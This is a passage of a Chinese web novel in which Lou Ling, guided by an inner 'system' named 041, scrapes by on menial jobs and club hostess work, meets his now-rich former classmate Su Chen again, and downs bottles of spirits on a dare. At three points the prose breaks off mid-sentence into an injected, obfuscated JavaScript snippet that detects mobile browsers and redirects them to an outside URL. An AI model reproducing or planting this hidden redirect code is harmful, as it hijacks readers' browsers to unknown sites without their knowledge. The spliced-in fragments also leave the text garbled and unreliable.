这女孩叫周柠,还是个学生,过来兼职的。 “嗯,好。” 娄陵的态度还是一样平淡,说完这句话就转头去员工间换衣服了。 人刚走开,女孩子就迫不及待开口了。 “思思姐,你下午和娄大哥一块上班吗?” “……是啊,怎么了?” 杨思思敏锐察觉到她的未尽之意,顿时有点局促。 “那你们肯定有聊天吧,他有没有说……” 员工间的门开了。 男人动作很快,走出来时身上已经不再是灰扑扑的员工服,而是一件黑色t恤,一条牛仔长裤。上翘的眼睛瞥过她们,他随意挥了一下手以示告别,同时把鸭舌帽盖在头上,还往下压了两下。 从背后看去,他垂着头,背部也塌下去一点,鸭舌帽的阴影大概能盖掉大半张脸,显得阴郁而孤僻。 “呃……” 玻璃门已经合上了,杨思思挠了挠头,不知该怎么继续话题。 周柠好像并不觉得有什么,目光仍追随着他的背影,轻声问道:“你觉得他为什么会来这里呢?” 为什么?上班还能为什么,为了钱呗。 心里已经有了答案,但杨思思猜她想得到的并不是这样的回答。 “他不是个简单的人,背景肯定不一般。” 女孩温柔的嗓音干脆地落定,一时间教她有些迷茫。 真的吗?不只是长得帅而已吗? 这么说起来,他平时是很沉闷,衣服基本都是灰黑色的,还喜欢戴帽子…… 不会是什么被追杀的黑/道少爷吧? 杨思思连忙在脑子里给了自己一巴掌,让你平时少看小说! 然而相关想象已经占据了大脑 ——黑漆漆的小巷里,几声突兀的枪响划破了夜色,小巷尽头,一席黑影伫立着,脚边倒着十来具尸体。 他抬起脚踩在一人身上,慢条斯理地将手上的枪插入身侧的枪套。一抹月光打下来,照亮了半张脸。形容清冷胜过月色,唇边带着血腥气的笑意又给这抹纯净染上了瑰丽。 “真脏。” 两字伴随轻蔑的笑腔吐出,他干脆利落转身,裹着的披风伴随动作扬起,只留下一个干脆的背影…… 起码在这个世界里,她的想象只是想象而已。 娄陵插兜低头迈出了商店,帽檐太低,导致他只能看见前方一小片区域,不过他长得高,问题倒是不大。 他维持这副模样已经挺久了,某系统还是有些看不惯。 【你这样走路和街溜子一样。】 【我现在也差不多是了。】 尽管他的声音很平淡,041还是自觉为他感到心酸。 【唉……你不管是去参加各类比赛拿奖金,还是做出点项目给公司投简历,再不济光靠脸也能出道,非要搬砖发传单,把自己折腾成这样。而且上次那个物流工作干得挺好的,马上要升职加薪了,你又跑到这里来……】 面对041的痛心疾首,娄陵满脸不以为然。 【我们要把目光放长远一些,要是那么做,我就得持续性劳动,而我选的这条路则不然。】 【什么?】 041直觉不该听信他,又不知不觉被他带着走了。 【你忘了吗?我们来这里的重点不是我这具模板该怎么生活,而是任务。】 它似懂非懂地点点头。 【所以?】 【你看看小苏现在在哪?】 【他在……!】 娄陵将手指压上帽檐,露出一个意味深长的笑。 【真是好久不见了。】 白色保时捷Cayenne后座,一个男人靠着皮制靠背坐着,膝上还放着一台银色的笔记本,时不时传出清脆的敲击声。 看久了屏幕,眼睛开始发酸,男人轻轻取下细框眼镜,挺直的鼻梁上留下淡淡的印痕,于是他用修长的双指揉搓了片刻。 电脑因长久不动熄了屏,黑色的屏幕上映出一张及其俊逸的脸,五官线条柔和,眼若桃花,鼻梁高挺,嘴唇微翘,给人以如沐春风之感。戴上眼镜后,冰冷的金属框为他增添了利落的精英范儿,显然是个自律恪规的人。 苏谌关上笔记本,打算闭目歇息一会儿,他刚熬了个夜,又连着开了一下午的会,有些困倦。 恰在此时,司机突然叫骂了一声,同时车猛地刹住了。制动声刮过耳膜。 “苏总,您没事吧?” 司机刚停下车,连忙开口。 “……没事。” 苏谌撑着前车座靠背,重新坐了回去。 笔记本差点掉下去了,还好。 “前,前边有人倒了,但是我没碰到他,还隔着一米呢,突然就倒了……” 急忙解释的司机激动到语无伦次,甚至用手比划了几下。 “那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425483|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来好好在边上的,搞得我吓了一跳,您说……不会是碰瓷的吧?” “下去看看。” “哎,好。” 他刚开门,苏谌也跟着走了下去。 确实如他所说,车前半米的位置,倒着一个人,看身形是个男人,表面上没见擦伤和出血。 司机喊了两声,没得到回应,他无措地看向苏谌,然后掏出手机打开了摄像。苏谌见此冲他摆了摆手,示意没事,自己俯下身去,拿起了男人头顶的鸭舌帽。 失去了帽子的遮挡,他的容貌完整映入眼中,苏谌的瞳孔瞬间收缩,自认为早就遗忘的记忆汹涌而出,令他脸上现出一片空白。 “娄陵。” 身体本能喃喃出声。 “他怎么了?” 一旁的司机不清楚状况,只看见自己老板突然发起呆来。 “快,一起把他扶上车,我们去医院。” 恢复思考能力后,首先感知到的是担忧和惊慌,思维运转得快速而紊乱。他早已习惯了在危急状况下冷静行事,然而多年来培养的素养在看见他的第一眼起,有了崩解的迹象。 苏谌刚将娄陵的手臂搭上自己的肩膀,站起身来,就见他幽幽睁开了眼睛,然后在看见他时流露出些微迷茫,再一次阖上眼皮。 “娄陵,醒醒。” 他不由放低声音,又一次唤他的名字。 这一次,他似乎意识到了什么,眼睫颤动了一下,像一只受了惊的蝴蝶。那双漂亮的眼睛再次纳入了他的身影。 “咳。” 娄陵把手臂抽了回去,抬眼撇了他一眼,清了清嗓子。 “我没事。” 见他状态还行,苏谌心下松了口气,这才有神气打量他现在的样子。 相貌和以前差别不大,只是更为成熟了,依然是一副引人前仆后继的皮囊,气质却是截然不同。以前的娄陵类似钻石原石,棱角分明,每个切面都反射出炫目的光彩,金贵到需要用玻璃展柜展出,一般人只能隔着透明罩子欣赏他;现在却像在表面封了层蜡,经过重重打磨,光芒内敛,表面圆滑干净,除了更漂亮以外和随处可见的鹅卵石也没什么区别,谁都能把玩。 他实在是瘦,近一米九的人,手腕脚踝都纤细得惊人,支撑起来格外轻松。浑身是不怎么照阳光的那种白皙,脸色更是到了惨白的地步,将眼周的黑眼圈衬得愈发明显。 越看越心惊,苏谌皱着眉头抓住他的手。 “上车。” “去哪儿?” “给你去医院看看。” 说完他就继续拉着娄陵朝车上走去,却被甩开了手。 “用不着,”他并不看他,扭头望向路旁的树,“有点低血糖而已。” 双手不自觉垂下,明明他的力道并不大,苏谌却感受到一股久违的疼痛。他想起了一些不算美妙的回忆。 只停顿了很短的时间,他将那些蠢蠢欲动的心思压了回去,沉声问道:“你没吃午饭?” “……” 他不答,看来是默认了。 【何止,早饭也没吃。】 041突兀地替他接话。它早就提醒娄陵,以这具模板的数值,这么做随时可能晕倒,然而他只是笑而不语。 苏谌不自觉抿起嘴角,眉宇攒起,形容严肃,自然而然流露出一股具有压迫性的气场。他二话不说,直接握住娄陵的手腕。 “又怎么了?” 娄陵依然面白如纸,只是精神稍缓,刚才浮现出的脆弱已消失殆尽,神情话语都尽显轻佻。 “带你去吃饭。” “你对路上每个人都这样吗?就不怕我碰瓷?” “你碰吧。” 他淡淡接了这么一句,把他塞进了车里,随即自己也坐了进去。 “去仙颐居。” 司机全程没摸着头脑,听见老板吩咐,还是连连应答。 很快,那辆车驶离了原地。 18. 现代 刚坐上宽敞的皮座,娄陵就下意识抬手,想拍去身上的尘土。他刚刚倒在马路上,怎么想身上都不干净,不仅挨了苏谌的衣服,还坐在了一看就价值不菲的车上。 揪着衣摆的手透露出局促,他不由垂下头以遮掩自己的心思。 然而,内心的声音与表面截然不同。 【小苏这回是真发达了。】 他用余光扫过苏谌的真丝领带和定制西装。 【他公司在最近一轮融资中估值达60亿美元。】 041很快接腔。 【哦?】 貌似是惊讶的语气,娄陵的声音却毫无起伏。 【你别忘了他实际上从开始创业到现在才五年,而且他家里提供不了帮助。这已经是及其不得了的水平了。】 【我不否认啊。】 娄陵牵起嘴角,那笑容怎么看都有些应付。 【既然这么有钱,怎么花应该是个问题吧?】 【……想吃软饭就直说。】 041无语的同时又松了口气,终于不用看娄陵糟蹋自己身体了,来个人管管也好。 反正结果怎么也不会比上一次更坏了……吧。 这是一家中式风格很浓郁的饭店,小桥流水,灯笼画屏,每个雅间都有不同的主题。 在侍者的接引下,两人几经转角,进了一间屋坐下。苏谌全程握着他的手,直到此刻才松开。 菜单呈了上来,他见娄陵面色怏怏,自己包揽了这活,快速点了几道菜,将菜单递给服务员时,温声嘱咐她。 “麻烦现在就上雪耳糖水。” “好的。” 他对人说话总是轻声细语的,即使如今身价倍增,也不见眼高于顶的架势,反而更加衬托出良好的教养与不俗的品格。 娄陵收敛眸光,轻抿着嘴唇。 看着这样的苏谌,他自然欣慰,同时又不免去想自己的现状。九年时光,境遇天翻地覆,两人已是云泥之别。 不多时,一个小瓷碗就端上了桌,被苏谌用指尖推到他面前。 “先喝这个垫垫。” 娄陵轻瞥他一眼,低着头用勺子在碗里搅了几下,才舀起一勺送进嘴里。 自始至终,对面投来的目光都强到无法忽视。 苏谌一直在看这个人,舍不得移开一瞬目光。他看不见自己的表情,仅凭推测,大约是怀念、欣喜又哀伤的。 很难不去想,他这些年经历了什么,为什么不告而别,又为什么会变成现在这样。 菜品陆续上了,他点得不多,自己吃过饭了,全是为娄陵点的。 幸好,娄陵的口味倒还是一如既往。 这点发现,令他不由欢欣。他下意识去寻找他身上和以往相似的点,淡化两人间数年未见的隔阂。他多希望他们只分开了几个月而已。 娄陵吃饭的兴致并不高,即使点的都是他爱吃的,还是草草动了几口就撂了筷子。 “这些年在国外过得怎么样?” 看他没有说话的意思,苏谌忍不住起了个话题。娄陵的眼神在一刹那变得有些奇怪。 这里他犯了一个错误,自己却没有意识到。 在他眼里,娄陵始终是当年那个矜傲的富家子,是他头顶永悬的明月,他从未想过他落魄的可能。他可以娇纵、纨绔,把别人一颗真心当玩具,又怎么能流落到居无定所、食不饱腹的境地? 当年缺席高考,大概是因为父亲生意有什么变动,跟着出国了。毕竟娄陵也说过,对他而言,那并不是什么问题。 这是他用来说服自己的理由。 就这样将其重复了上千遍,竟迷惑了自己的大脑,恍惚真多出了一段那样的记忆。 “还行。” 虽不知他从哪里得来的消息,娄陵还是随口应承下来,免了自己想借口。 “你现在……在做什么?” 苏谌抿了一口茶水,小心翼翼开口。 “随便给人打打工。” 没等苏谌再次发问,他挑起眉反问:“你现在是苏总了?” “……有点夸张了,只是开了家小公司。” 原本习以为常的称呼从娄陵嘴里说出来,他顿时窘迫得厉害,只是面上看不出来。 娄陵噗嗤一声笑了。 重逢以来,他第一次露出这样的神采,眉眼间隐约还残留着当年的清澈肆意,令苏谌霎时晃了神。 可惜转瞬即逝,他下一刻便收敛了笑容,在他们两人间再一次筑起一道高墙。 “今天多谢你,换个人来,我可能就死在路中了。” 说到这里,他耸了下肩,话语中尽是自嘲与玩味,听得苏谌整颗心都揪紧了。 他怎么能这么不把自己当回事! “其实也没什么,就是容易阻碍交通。” 他绕开椅子,朝门口走去,路过苏谌时又一次被抓住了手。 “怎么?” 娄陵回眸望来,眼角微斜,随意且倦怠。 “这顿是你请我吧,苏总?” 这回两字不同于刚才的打趣,增添了讽刺意味,一入耳,手脚都开始发冷。 苏谌松开手,转而掐住掌心,让语气保持平静。 “你去哪儿,我送你。” “何必呢,这么爱做菩萨,生意场上得吃不少亏吧。” 轻慢的语气配上讥诮的神色,那张冷峻苍白的脸此时鲜活了不少,却是以这样的形式,似烂漫花丛之下的棘刺,一碰便扎得人鲜血淋漓。 这一刻他终于醒悟过来,娄陵已经变了。从他身上再难寻到过去率真与自信,余下的全是颓然、对自身的不以为意,以及对旁人的尖锐防备。 “怎么也是老同学,送一送也是应该的。” 可那又怎样? 只需要一瞬间,他就做好了决定——我想要他。 变的不只有娄陵,还有他自己。 当年的苏谌为了追逐那一抹月光,纵使竭尽全力,还是摔倒沾了满身尘土;现在的他却发现,没那么遥远了。 月亮已经落到了身旁,只待他伸手就能摘下。这样的诱惑几个人能拒绝?起码苏谌不能。 似乎是被他拿捏得正好的语气和表情迷惑了,娄陵低下头不知想了什么,最后默许了。 他报的地址,是一个建成不久的中档小区,在离大门还有五十来米的时候就下了车。 “走了。” 话音落下,他关上了车门,动作快得让苏谌来不及回答。 他说的不是“再见”。 这不是一般人会注意到的细节,苏谌偏偏捡拾起来咀嚼,从中品出淡淡的苦涩。 你是故意的吧。 窗外那人的渐渐走远,路灯投射出的影子在他身后拉得长长的,像坏掉的时钟上仅剩的指针。 “苏总,接下来去哪?” “跟着他。” 司机愣了一下才反应过来那个“他”指的是谁。果然,那人没有走进小区,而是从旁边绕了过去。 跟了一段时间后,他走进一个菜市场。隔着一段距离,还是能闻到其中传出的鱼腥和肉臭味。 不一会后,男人走了出来,左右一手一个塑料袋。 他们再次跟上,这次时间有点久,大概过了半个多小时才不得不停了下来,眼前是有名的城中村。 一栋栋老旧的楼房拥挤在一起,目之所及全是灰黄色的墙和围着铁栏的窗户,犹如一个个鼠笼,暴露在外墙的金属管道是这庞然大物的骨骼和经络,低处棚屋顶上生了锈,地上几滩水倒映着夹缝中漏出的一线天空。 车子很难再往里开,苏谌只能看着他的背影消失在一个转角。 钥匙插入生锈的锁孔,摩擦着发出恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425484|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的声音。 娄陵提着菜进门,狭小的客厅里摆着一台老式电视机,一张掉了漆的沙发。娄母靠在沙发上,电视机开着,里面在放tvb电视剧。 “妈,我回来了。今天店里忙,留那加了会儿班。” “辛苦了。” 女人看过来的眼神,欣慰中夹杂心疼。 “你怎么越来越瘦了,让你多吃点好的补补……” “我记着呢,今天问了下,过两天他们有散养的鸡,到时候买回来炖个汤。” “那这回你要多喝点,别像上次那样全给我留着。妈妈知道你孝顺,那你也得多顾着自己点,你要是倒下了,妈妈可怎么办?” “好,我知道,你别担心。我先做饭了。” 说着,他提起那两个袋子,转身去了厨房。 娄母当年病情发现的不算晚,通过化疗和手术治愈了,但还是得经常检查,以免复发。她脱离社会太久,找不到什么好工作,为了帮娄陵减轻负担,本想去当保洁之类的,他却不敢让她再操劳。在娄陵的强烈要求下,她留在了家里,用毛线打点小玩意,也能卖上一点钱。 小厨房的管道已经老化了,油烟机也坏了大半,炒菜时半死不活地吸烟吐烟,整个空间里烟雾缭绕。也是因此,做饭这活是由娄陵承担的。 【四一,该做饭了。】 他唤041接管了身体,自己去了意识空间。 娄陵会的事很多,但在厨艺这方面属实有些一言难尽,倒不是说简单的厨房白痴,他的基础知识很扎实,对各种厨具运用也得心应手,只是……经常有一些“奇思妙想”。 大概是会被一般人看作外星食谱的程度。 而且这种每天必做却又比较无聊的事情,他基本上都会甩给041,包括之前打工时做的很多流水线工作。 041根据他今天买的菜,搜索并接入了经典家常菜谱,勤勤恳恳做完菜端上桌,才又把娄陵叫了出来。 吃完饭,他和娄母打了声招呼,按惯例回房间补觉。 晚上十点,闹钟准时响起。 娄陵眯着眼睛从床上坐了起来,缓了五分钟才掀起被子下床,套上被压得皱巴巴的外套。 他没有开灯,就那样走出房间,穿过狭小的走廊,打开大门,然后轻轻带上。 娄母睡得比较早,每天八点半就会洗漱回房。 离开那栋楼后,他一直走了好几百米的路才算是清醒了,揉揉眼睛,打了个哈欠。他总这样,眼都没睁开,就在一片黑漆漆中连着下好几层楼,搞得041每次都提心吊胆,生怕一个没看好人就摔了下去。当然,目前这事还没发生。 轻车熟路走到一个比较隐蔽的路口,娄陵停了下来,背靠路旁的水泥柱,又闭上了眼睛。 昏暗的路灯给他罩上了一层润黄的光,白天看起来过于憔悴的脸显出白玉一样的色泽,淡淡的阴影衬得五官愈发深邃,凌乱的发丝又增添几分懵然,削减了他身上的疏离感。 早就看习惯的041还是忍不住怜悯心泛滥。 【你每天睡那么少,真累的话就别去了,缺钱的话我也有办法……】 他突然睁开了眼睛,回头望向身后,那个瞬间,黢黑的眼眸中一片清明,哪有一点疲乏的影子。 【……怎么了?】 【没什么。】 娄陵转回头,抖了抖自己外套,让它舒展开一点,与此同时,嘴角上扬了微小的弧度。 右边照来的远光灯有些刺目,娄陵直起身朝前走了两步。 来了。 一辆出租车在他面前停下,他轻车熟路开门上了车。 他刚走不久,之前站的地方后面不远处,有人在轿车里拨通了电话。 “苏总,按您吩咐的蹲到了,他坐出租车走的,车牌号……” “……哎哎,那我先跟上。” 19. 现代 出租车晃晃悠悠开了近一个小时,从杂乱拥挤的城中村边缘,经过平坦宽阔的大路,渐一幢幢高楼开始拔地而起,霓虹灯与汽车的远近光灯在夜色中闪烁,将暗色的幕布渲染得迷离绚烂。已经渐渐接近了城市的中心,这里遍地是商业街和商场,各种高端品牌层出不穷,私人银行与五星级酒店相对而立,一派销金窟般的景象。 娄陵在林立的建筑之间下了车,身前是一栋高达二十层的酒店,极具设计感的玻璃砖幕墙彰显出它的不凡。 他步履不停走进大厅,前台的接待注意到来人,辨别清楚后又收回了目光。左手侧赫然就是两台电梯,却被他忽略得彻底。他径直朝右侧走去,穿过长廊绕到主建筑之后,那里竟也有一架电梯。 从外套口袋里掏出的卡被贴上电梯感应口,沉重的金属门自动打开了,走进去后,锃亮的金属光面映出他修长的身影。轿厢内部只有一个楼层按钮——“九”,娄陵伸手按下,双道门缓缓合拢。他在最后时分侧眸朝门外看了一眼,神情漠然。 电梯再次打开,外面两边各站着一个穿制服拿对讲机的高壮男人,他们在开门第一时间向娄陵看过来,面色不善。 娄陵没分给他们一个眼神,只在踏出电梯时抬起手,那张卡正夹在两指之间,稍一使力就在他手中翻转了一圈,将金色花纹和名字展现出来。 还没走几步,就听见一道激动得破了音的男声,比起一般偏浑厚的男声,这人的听起来格外尖。 “我的宝贝,我的救星,你终于来了!你不知道,那几位祖宗、大小姐等了你多久!” 一个穿着制服,个子不高的男人从边上一房间里窜了出来,他长相和硬朗沾不上边,勉强算是秀气,脸上抹着白到显假的粉底,凑近后身上的香水味不停往人鼻子里钻。这人胸前别着一块铭牌,做工精致,上刻“Jim”一名。 “我都说了你是后半场的,她们就不听,一个劲儿说要加指名费,愁死我了……” 他贴在娄陵旁,一边走一边捏着嗓子抱怨到。 “你不应该很高兴吗?” 娄陵淡淡接了一句,依然自顾自朝走廊尽头走去。 “高兴是高兴……可我也不敢要啊,这不得等你来嘛……” 走完了那段铺着欧式地毯的长廊,娄陵推开右手边的门,刚打算走进去,又听见身后人说话。 “别的先不管,已经给打发了,那位樊小姐你一定得……” “知道了。” 他的声音有些倦懒,待门快合拢了,透过剩下的那条门缝,他掀起眼皮又补了一句。 “我先收拾。” 此时娄陵身处的房间格外宽阔空旷,并没有太多装饰,中心是一块棕色的圆形地毯,上面放着一张小沙发,沙发对面就是一面长方等身镜,旁边则是一架落地灯,暗橙色的光线瞧着很是温柔。 他脱下身上的外套随手丢在沙发上,接下来是t恤,长裤。视线掠过镜面,镜中的男人白皙纤瘦,身体的每一处看起来都恰到好处,侧脸优美,连喉结锁骨都精致,肌肤在柔光下现出细润的釉色,好似一樽长颈白瓷瓶。 白皙的脚踩在暗色绒地毯上,对比鲜明,令人联想到滴落了牛奶的卡布奇诺。 娄陵走到边上实木柜旁,从中间那层取出一件白衬衫,又从下层照样抽出一条西装裤。两件穿完后,他捞起衣架上的马甲,一颗一颗系上纽扣,整个过程不急不缓,于慢条斯理中泄露出禁欲感。最后理了理领口,系上领带后,手指又有意将它扯松了点,半挂在脖颈间。 全部弄好后,他握上门把手,刚要往下压,却突然顿住了。又隔了一小会,他忍不住半弯下腰,按住自己的上腹。 胃里一阵阵绞痛。 长期的饮食不规律加之饮酒导致他有了胃病。白日里大半天没有进食,不仅糖分不足,也害胃受了罪。 【都让你好好吃饭了,你就不听。】 小圆球飞到被捂住的部位,一股透明的数据流从它身上传导出来。 【暂时止住了……一会人家让你喝酒怎么办,要不今天请假吧?】 娄陵直起身,顺手摸了一把小圆球,口吻冷静。 【我不怕疼。】 他就这样出了门,守在门口的Jim一瞬间眼睛都直了,开口就磕巴了一下。 “老,老天……” 随即又马上反应过来,叫住他:“给我等一下。” 娄陵回头,看他不知从哪个口袋里拿出一个小罐子,用手在里面摸了两下,招呼他凑过去。娄陵努了下嘴,对着他垂下头,下一刻,一只手滑过他的鬓角,将一侧碎发全撩了上去。 “好了?” 嗓音响起的时候,Jim差点被吓了一跳,这种声音在耳畔说话真是招架不住。 “好了好了。” 等娄陵抬头后,就见他眼神有点怪怪的,像是惋惜,又像是不甘。 呃? 他刚迈开步子,又听见Jim喊:“铭牌别忘了。” 娄陵蹙着眉,从西装外套口袋里掏出一个金属小牌别在胸前,第一下没别正,调整了一下才好。 又走了一段路,眼前出现两扇极宽极高的门,几乎顶到楼层天花板,娄陵靠右边反手敲了六下,轻重缓急各有不同,很快,右侧的门从内部打开了。 门口处有人看守,视线扫过小牌后,那人冲他点头。 里面的空间可以说是别有洞天,大小接近一个可容纳数百人的会场,只是没有放置观众席,而是按区域划为了几个舞台和成片或零散的卡座。整体昏暗的环境,不同种类的灯光反复交错变换,从舞台上发散开的线状光似彩虹,背景中零星闪烁的点状光如同星海。 爵士乐在空气中流淌,舞台中央有人坐在高腿凳上,拨动吉他,低醇的嗓音通过话筒向外扩散。 Jim事先嘱咐过那位樊小姐在F区,于是他直接朝目标区域走去,那是一片相对独立的卡座,离舞台比较远。隔着十几米,他隐隐看见那里坐着不止一个人,背对着他的那个很明显是女性,酒红的波浪长发在黯淡的光线下呈现出暗红玫瑰般的色泽。 刚想过去,激烈的争吵声传了过来。 “樊似阳,你能不能要点脸啊!” 这是个男人的声音,准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425485|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确说更趋向男孩,嗓音是清朗中掺杂沙沙的质感。 说出这话的人年纪确实不算很大,十八九岁的模样,个子已经足够高了。长得形貌不凡,是那种浓墨重彩的长相,瓜子脸,吊梢眼,五官刻画分明,满脸桀骜落拓之意。头发有些炸乎乎的,额前还挑染着几撮深蓝,双耳各打着一排耳洞,依次列着黑曜石、蓝宝石、银钉和十字架,在灯下反射出细碎的光。此外,脖子手腕也都戴着各式链子,一甩头抬手哗啦啦响。 “我哪儿不要脸了。” 女人微哑的声音适时响起,接近烟嗓,有着一种独特的魅力。比起男子的焦躁,她似乎十分淡定。 女子上半身穿一条极窄的皮质抹胸,外罩一件牛仔外套,下着一条牛仔短裙,长靴一直包裹到小腿。她相貌和少年有五分相似,眼睛被眼线拉得狭长,眼皮上的大片晕染及涂成黑色的嘴唇为她添上神秘的妩媚。此刻她正双手抱胸,斜睨着面前的人。 “你一个女人天天来这种地方,这还不叫不要脸?” “谁规定只有男人能来了。有哪条法律说仅限男人喝酒么?” “你……你,行,那你敢说你只是来喝酒的?” 樊若星被气得脸都红了,不甘示弱祭出这一句话,没想到她还是满脸不以为意,甚至哼笑了一声。 “不然呢?” 樊似阳撩了撩自己的长发,挑起眼睛问他。 见她一副死猪不怕开水烫的模样,他懊恼地摸了下后颈,接着猛拍了一下桌子。 “你别以为我没听见,你都说要指名那谁了。” “对啊,指名个人来给我倒酒。我都来这儿了,还不能享受一把吗?” “你放屁。” 男孩嘀咕了一句。 “你说什么?说大声点。” 樊似阳掏了下耳朵,故意把身子往那边凑。 “我靠!你非得逼我发飙是吧?那你现在就把那谁谁叫出来!我还就不信了……” “他……” “樊小姐。” 突然响起的声音同时吸引了两人的注意,明明并不是很响,却没有被淹没在音乐中,只因为它的独特,像盛了一半清酒的盏被轻敲外壁而发出的响,泠泠入耳。 樊若星随之转头看去,卡座边上不知道什么时候起站了一个人,在一片阴影中,看不清楚他的脸。只有挺拔标致的身形陷落在黑暗中,恍惚成了一张电影的剪影画报,令人不由屏住呼吸,想看清他的真容。 似乎知道他的心思,那人往前迈了一步,站到樊似阳身后,显露出一张堪称惊艳的脸。从眉中到下颌,每一处都像是经过了精密的测画,势必要让每个人第一眼看到就为之惊叹。顶部昏昏的蓝光斜照过来,在偏上的位置划出一道亮色,衬得上半张脸颜色更为分明。 只见那绒雾般的远山眉之下嵌着一双细长的眼睛,瞳色乌黑,眼尾上挑,纤毫分明的睫毛长到垂落下来。隐在浅阴影中的下半部分大约能看清微翘的鼻尖,饱满的唇珠。 身体不知不觉僵住了,他不禁吞咽了一下口水,咕嘟一声,还好,在嘈杂的环境中,只有自己听见了。 20. 现代 “Loveil,你来了呀。” 先反应过来的是樊似阳,她脸上瞬间绽出一个灿烂的笑容,拍了拍自己身边的空位。 “来,坐。” 男人轻勾嘴角,顺从地坐在她身边。 “让你久等了。” “没有,我是知道你上班时间的,之前是另外几个人在闹,我来了以后让她们先走了。” 她说着停顿了一下,有意压低了嗓音。 “我和她们说,你今天是要陪我的。” 面对她暧昧的暗示,娄陵面色不变,拿起桌上的杯子为她斟了杯酒。 “既然这样,今晚我是樊小姐一个人的。” “哈哈,现在已经过十二点了。” 她几乎凑到他耳旁,字字都像是在舌尖碾磨出来的。 “所以,你要陪我到早上。” 听见这话,娄陵垂下眼睛尚没有答话,对面的人先坐不住了。 “哎,你谁啊?” 樊若星承认自己一开始是被那人的长相迷惑住了,但都在他眼皮底下发展到这个程度了,无论如何也没法视而不见。 对面两人都没回话,那男人没看他,樊似阳则是直接翻了个大白眼。 靠!这女人…… 都这样了他也明白过来了,看男人的眼神一瞬间也变了。 “你,就是她说要指名的那个?” 他刚伸手指向那人就被樊似阳打掉了手。 “没礼貌,出去别说和我一家的。” “……樊似阳你没搞错吧?我没礼貌?对着一个鸭子要什么礼貌!他配吗?” 男子忽然抬眸瞅了他一眼,明明他的表情很平静,樊若星却莫名有些心虚。 “干嘛……我说的不对吗?” “樊若星!” 樊似阳突然生气了,喝止了他。 “你别给我胡闹了,我的事和你有个吊毛关系。” 一听这话,少年原本稍微减弱的的气势如烈火般蹿了起来。 “行,你说他是陪酒的是吧,那来给小爷我陪酒试试呗。” 他朝四周张望了一圈,看见边上吧台上摆放的奥美加,眼睛一亮,走去抱了回来,五瓶,全码在娄陵面前。 “就这个,喝吧,你做这行的应该不难吧?” 他面露挑衅,俯下身和娄陵平视,眼神洋洋得意。 “你要是能把这些都喝了,我今天就把你这最贵的酒给开了。” “敢不敢?” “别理他,我们玩我们的。” 樊似阳语气不耐。 “这都不敢,真没种。” 樊若星笑骂了一句,心里莫名松了口气。 娄陵却没应声,垂头思索了几秒,再抬脸时特意偏了一点角度睨他,嘴角微勾,露出势在必得的神态。他一笑起来,那张脸就突然变得生动了。艺术展柜里精美冰冷的画一下子活起来。 “好,我喝。” 他这么说。 樊若星一时忘却了自己想说的话,盯着他薄唇右下方的小痣犯了会儿傻,才匆匆反应过来,顿时整个人像只受惊的兔子,虚张声势地开口。 “还算有点胆量。” 娄陵将目光放到桌上那一排酒瓶上,他朝樊若星勾了勾手指。 “开瓶器。” 干嘛指挥我…… 尽管心里这么说,他还是满脸不情愿地把开瓶器递了过去。一时不察,手指挨上了那人的掌心,凉凉的,似乎很滑。 他慌慌张张收回了手。 接过开瓶器,娄陵一气儿把五瓶全起了,瓶盖接连掉落,发出叮叮当当的响声。 【你疯了!这种度数的酒,胃疼犯了不是开玩笑的,不要命了嘛!】 【没事。】 他扬起脖颈,举起酒瓶,将瓶口对准嘴灌了下去。 男人吞咽时,喉结不住滚动,隐隐透出一股诱人的欲色。他喝得太急,没一会儿就呛住了,香槟色的酒液从嘴角溢出来,流过下颌,一路淌过细长的颈,漫入衣领内。 他似乎有些难受,忍不住抓了抓领口,还是没有用,索性扯开了领带,又去解领口。那扣子大约有点紧,手指掰弄了好几下才把它解开,凹陷的锁骨袒露出来。 扯开领子,他再开始灌酒,几口后又开始咳嗽。大概被呛得难受,他的眉时不时蹙起,眼角已是一片殷红,瓷白的两颊也染上了薄粉。那双漂亮的眼睛蒙着一层泪光,有几颗泪珠挂在鸦羽般的眼睫上。 “咳,咳咳,咳……” 灼热感从身体内部开始烧,皮肤都隐约发烫。 他已经感受到了眩晕,眼前的一切都在旋转,脚步不禁踉跄了几下,扶住桌沿后,又拿起一瓶往嘴里倒。 “哎哎,你真不行就算了……” 樊若星想拿下他的酒瓶,却被避开了。 娄陵没理他,连灌了两瓶,在碰到第三瓶的时候,手指猛地蜷了一下,指甲刮在坚硬冰凉的石桌上。 疼痛无法靠酒精麻痹,反而因此越来越剧烈,迫不及待开始彰显自己的存在感。一开始如针扎,后来似棍击。胃部开始剧烈收缩,每一次蠕动都好像在研磨一块长满棱角的石头,将内壁剐蹭得鲜血淋漓。 